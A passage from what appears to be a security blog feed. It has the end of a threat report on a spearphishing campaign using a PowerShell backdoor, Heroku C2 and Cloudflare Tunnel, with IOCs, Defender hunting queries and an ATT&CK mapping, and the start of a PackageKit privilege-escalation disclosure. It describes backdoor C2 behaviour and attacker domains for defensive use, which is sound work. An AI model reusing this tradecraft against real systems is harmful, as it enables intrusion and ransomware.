    &lt;p&gt;This is a valid User-Agent string for Google Chrome on Microsoft Windows 10. Chrome version 140 was published in September 2025.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The backdoor supports three C2 command types:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;#KILL&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Deletes the scheduled task and the malware directory.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;#HOST#&amp;lt;NEW_HOST&amp;gt;&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Defines a new C2 server.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Any other response&lt;/td&gt;
      &lt;td&gt;Interpreted and executed as PowerShell code&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h3 id=&quot;cloudflare-tunnel&quot;&gt;Cloudflare Tunnel&lt;/h3&gt;
&lt;p&gt;After the backdoor has been installed, the actor can execute arbitrary PowerShell code on the affected system. This creates opportunities for data theft, payload deployment, lateral movement, and ransomware staging.&lt;/p&gt;

&lt;p&gt;In this campaign, we observed the actor installing &lt;a href=&quot;https://developers.cloudflare.com/cloudflare-one/networks/connectors/cloudflare-tunnel/&quot;&gt;Cloudflare Tunnel&lt;/a&gt; to hide suspicious network traffic and enable remote access.&lt;/p&gt;

&lt;p&gt;Cloudflare Tunnel is a legitimate technology used to expose local services such as HTTP, SSH, or Remote Desktop via the Cloudflare network. It can also be used to make private networks accessible through a tunnel connection, for example by using WARP routing. In an intrusion context, this gives an attacker several options to interact with compromised systems while blending into traffic to a legitimate cloud provider.&lt;/p&gt;

&lt;p&gt;For this setup, the attacker only needs the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cloudflared&lt;/code&gt; executable, which is the server-side daemon used to connect a local service to the Cloudflare network.&lt;/p&gt;

&lt;p&gt;In the observed case, the following artifacts were left on disk:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;\Users\&amp;lt;USERNAME&amp;gt;\AppData\Local\Temp\cf
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The directory contained:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cloudflared.exe&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cert.pem&lt;/code&gt;, used for authentication&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;config.yaml&lt;/code&gt;, the tunnel configuration file&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;TUNNEL ID&amp;gt;.json&lt;/code&gt;, the tunnel credentials file, perhaps multiple of them&lt;/li&gt;
  &lt;li&gt;An error log file, if errors occurred&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These artifacts are valuable for forensic analysis, as they can help determine how the tunnel was configured and how it may have been used by the actor.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;The observed activity demonstrates how a convincing spearphishing lure can develop into a ransomware-relevant intrusion path. The actor uses fake recruiting agencies, tailored job offers, decoy documents, and a lightweight PowerShell backdoor to establish initial access and maintain persistence.&lt;/p&gt;

&lt;p&gt;While the malware itself is not complex, it provides the attacker with enough flexibility to execute arbitrary PowerShell code, deploy additional tools, and prepare follow-up activity. In at least one observed case, this attack chain ultimately led to Qilin ransomware deployment.&lt;/p&gt;

&lt;p&gt;The campaign also shows the continued abuse of legitimate cloud services and tunneling technologies. Heroku-hosted infrastructure and Cloudflare Tunnel can make malicious activity harder to distinguish from normal cloud traffic, which increases the importance of behavioral detection and forensic artifact analysis.&lt;/p&gt;

&lt;p&gt;Defenders should monitor for PowerShell execution from shortcut files, unusual scheduled tasks, unexpected &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cloudflared&lt;/code&gt; executions, and network connections to known attacker-controlled cloud infrastructure. The following section provides additional details to support hunting, investigation, and response.&lt;/p&gt;

&lt;h2 id=&quot;appendix&quot;&gt;Appendix&lt;/h2&gt;

&lt;h3 id=&quot;iocs&quot;&gt;IOCs&lt;/h3&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Type&lt;/th&gt;
      &lt;th&gt;Value&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Domain&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;alpentalent[.]at&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Phishing-Domain&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Domain&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;steinersearch[.]at&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Phishing-Domain&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Domain&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;headmatch[.]at&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Phishing-Domain&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Domain&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;vertrag-hm-ref3154-7e89a2ad95ad[.]herokuapp[.]com&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;ZIP archive download domain&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Domain&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sched-729-fdfd12d20ba1[.]herokuapp[.]com&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;C2 domain&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Domain&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;assetscrm-04-6532d8371b2a.herokuapp.com&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;C2 domain&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Domain&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;erpapp-091-e00eb01e7fba.herokuapp.com&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;C2 domain&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Domain&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;clientportal-43-98f1d0f4b8d9.herokuapp.com&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;C2 domain&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Domain&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;erpapp-071-00266c67b940.herokuapp.com&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;C2 domain&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;User-Agent string&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;User-Agent string used for C2 communication&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Directory&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\Users\&amp;lt;USERNAME&amp;gt;\AppData\Local\Temp\cf&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Directory which contains Cloudflare Tunnel files&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;SHA-256&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;4578bc4b0b5eab3ac6e38d71bc1a086593b118c8bb221161d3fd27c5f5d00ea6&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Decoy document &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;2026_NDA_Datenschutzrichtlinie.docx&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;SHA-256&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ee6c8422e4e723fe408ef6bbacfa852ae372e99ddf79e2fe38920017ec5e7674&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Decoy document &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ROSSMANN_Kandidatenbrochure.docx&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;SHA-256&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1067ffcb2b3f50d3769d05389e5d384abccc274c5433ee0fb27f6616dbf7d2c6&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Powershell script for tunnel start, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cloudflared-start.ps1&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;SHA-256&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;e00a9e9fed12f8a8f5703539c4662750dd5472d35c16dcbbdc5869f3fe5e238b&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Cloudflare tunnel executable, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cloudflared.exe&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;File name&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Dienstangebot_&amp;lt;LAST NAME&amp;gt;_&amp;lt;FIRST LETTER FIRST NAME&amp;gt;_&amp;lt;DATE&amp;gt;.zip&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Naming pattern of downloaded ZIP archive&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Scheduled Task&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;VICTIM-ID&amp;gt;c582&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Backdoor persistence&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Mutex&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Global\&amp;lt;VictimID&amp;gt;&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Mutex created by backdoor&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Email address&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;elisabeth.muehlbacher@steinersearch.at&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;known sender address&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Email address&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;marlies.hoermann@steinersearch.at&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;known sender address&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Email address&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;caroline.hoeller@steinersearch.at&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;known sender address&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Email address&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;maria.schroeder@alpentalent.at&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;known sender address&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Email address&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;daniela.weiss@alpentalent.at&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;known sender address&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Email address&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;michaela.jaeger@alpentalent.at&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;known sender address&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Email address&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;petra.schoepf@alpentalent.at&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;known sender address&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Email address&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;anna.gruber@headmatch.at&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;known sender address&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;Please also visit the &lt;a href=&quot;https://www.cert.at/de/aktuelles/2026/5/zipline-qilin-raas-update&quot;&gt;CERT.at website&lt;/a&gt; for additional IOCs.&lt;/p&gt;

&lt;h3 id=&quot;threat-hunting&quot;&gt;Threat Hunting&lt;/h3&gt;

&lt;p&gt;The following queries for Microsoft Defender can be used to identify possible affected systems:&lt;/p&gt;
&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// Search for spearphishing emails:&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;phishing_domains&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;dynamic&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;steinersearch.at&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;alpentalent.at&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;headmatch.at&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt; 
&lt;span class=&quot;nx&quot;&gt;EmailEvents&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;where&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;SenderFromDomain&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;phishing_domains&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;or&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;RecipientDomain&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;phishing_domains&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; 
&lt;span class=&quot;nx&quot;&gt;or&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Subject&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;contains&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; - Jobangebot: &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// Search for ZIP archives:&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;DeviceProcessEvents&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;//DeviceFileEvents&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;where&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;FileName&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;startswith&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Dienstangebot_&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;and&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;FileName&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;endswith&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;-26.zip&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;//Search for malicious URLs in Emails:&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;EmailUrlInfo&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;where&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Url&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;contains&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;herokuapp.com&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;and&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Url&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;contains&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;vertrag&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;//Search for Cloudflare tunnel software network communication:&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;DeviceNetworkEvents&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;where&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;InitiatingProcessFileName&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;has&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;cloudflared&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;mitre-attck-mapping&quot;&gt;MITRE ATT&amp;amp;CK Mapping&lt;/h3&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;ID&lt;/th&gt;
      &lt;th&gt;Name&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1573/&quot;&gt;T1573&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Encrypted Channel&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1071/001/&quot;&gt;T1071.001&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Web Protocols&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1059/001/&quot;&gt;T1059.001&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;PowerShell&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1204/002/&quot;&gt;T1204.002&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Malicious File&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1053/005/&quot;&gt;T1053.005&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Scheduled Task&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1027/&quot;&gt;T1027&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Obfuscated Files or Information&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1090/002/&quot;&gt;T1090.002&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;External Proxy&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1105/&quot;&gt;T1105&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Ingress Tool Transfer&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1547/001/&quot;&gt;T1547.001&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Registry Run Keys / Startup Folder&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1566/002/&quot;&gt;T1566.002&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Spearphishing Link&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1082/&quot;&gt;T1082&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;System Information Discovery&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1041/&quot;&gt;T1041&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Exfiltration Over C2 Channel&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
</content>
  </entry>
  
  <entry>
    <title>Pack2TheRoot (CVE-2026-41651): Cross-Distro Local Privilege Escalation Vulnerability</title>
    <link href="https://github.security.telekom.com/2026/04/pack2theroot-linux-local-privilege-escalation.html"/>
    <id>https://github.security.telekom.com/2026/04/pack2theroot-linux-local-privilege-escalation.html</id>
    <updated>2026-04-22T00:00:00+00:00</updated>
    <summary type="html">Today we publicly disclose a high-severity vulnerability (CVSS 3.1: 8.8) - in coordination with distro maintainers - that affects multiple Linux distributions in their default installations. The Pack2TheRoot vulnerability can be exploited by any local unprivileged user to obtain root access on a vulnerable system.</summary>
    <content type="html">&lt;p&gt;Today we publicly disclose a high-severity vulnerability (CVSS 3.1: 8.8) - in coordination with distro maintainers - that affects multiple Linux distributions in their default installations.
The Pack2TheRoot vulnerability can be exploited by any local unprivileged user to obtain root access on a vulnerable system. &lt;!--more--&gt;&lt;/p&gt;

&lt;p&gt;The vulnerability lies in the &lt;a href=&quot;https://github.com/PackageKit/PackageKit&quot;&gt;PackageKit daemon&lt;/a&gt;, a cross-distro package management abstraction layer.&lt;/p&gt;

&lt;p&gt;The vulnerability enables an unprivileged attacker to install or remove system packages without authorization. This can be exploited to gain full root access or compromise the system in other ways.&lt;/p&gt;

&lt;p&gt;The Pack2TheRoot (CVE-2026-41651) vulnerability was discovered by Deutsche Telekom’s Red Team during targeted research into local privilege escalation vectors on modern Linux systems.
PackageKit as a candidate initially caught our attention when we observed that a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pkcon install&lt;/code&gt; command could install a system package without requiring a password on a Fedora Workstation.
Starting in 2025, we began investigating whether this behavior could be abused to achieve arbitrary package installation.
By guiding the AI-assisted research into a specific direction (using Claude Opus by Anthropic) we were able to discover an exploitable vulnerability.
The finding was manually reviewed and verified before being responsibly reported to the PackageKit maintainers, who confirmed the issue and its exploitability.&lt;/p&gt;

&lt;h3 id=&quot;vulnerable-versions&quot;&gt;Which versions and systems are vulnerable?&lt;/h3&gt;

&lt;p&gt;All PackageKit versions between &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;gt;= 1.0.2&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;= 1.3.4&lt;/code&gt; are vulnerable.
Since PackageKit 1.0.2 was released over 12 years ago, this leaves a broad attack surface across Linux distributions.
Exploitability has been explicitly tested and confirmed on the following distributions in default installations with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;apt&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dnf&lt;/code&gt; package manager backends:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Ubuntu Desktop 18.04 (EOL), 24.04.4 (LTS), 26.04 (LTS beta).&lt;/li&gt;
  &lt;li&gt;Ubuntu Server 22.04 - 24.04 (LTS)&lt;/li&gt;
  &lt;li&gt;Debian Desktop Trixie 13.4&lt;/li&gt;
  &lt;li&gt;RockyLinux Desktop 10.1&lt;/li&gt;
  &lt;li&gt;Fedora 43 Desktop&lt;/li&gt;
  &lt;li&gt;Fedora 43 Server&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It is reasonable to assume that all distributions that ship PackageKit with it enabled are vulnerable.
Since PackageKit is an optional dependency of the &lt;a href=&quot;https://cockpit-project.org/&quot;&gt;Cockpit project&lt;/a&gt;, many servers with Cockpit installed might be vulnerable as well, including Red Hat Enterprise Linux (RHEL).&lt;/p&gt;

&lt;p&gt;The vulnerability is fixed in PackageKit release 1.3.5 and distribution backports.
Updates should be available from today 2026-04-22 12:00 CEST.&lt;/p&gt;

&lt;h3 id=&quot;how-to-check-if-your-system-is-vulnerable&quot;&gt;How to check if your system is vulnerable&lt;/h3&gt;

&lt;p&gt;It is not sufficient to simply &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;grep&lt;/code&gt; through the process list, as PackageKit and Cockpit are not necessarily running as persistent processes as they can be activated on demand through D-Bus.
First check if PackageKit is installed on your system and compare it with &lt;a href=&quot;#vulnerable-versions&quot;&gt;vulnerable versions&lt;/a&gt;, e.g.&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dpkg -l | grep -i packagekit&lt;/code&gt; or&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rpm -qa | grep -i packagekit&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Note &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;grep&lt;/code&gt;’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-i&lt;/code&gt; flag, as the package may be installed in camel case as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PackageKit&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;To check if the PackageKit daemon is available, run &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;systemctl status packagekit&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pkmon&lt;/code&gt;.
If &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;systemctl&lt;/code&gt; shows it as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;loaded&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;running&lt;/code&gt; or the PackageKit monitor tools show transaction output, the daemon is active and your system is potentially exploitable if unpatched. 
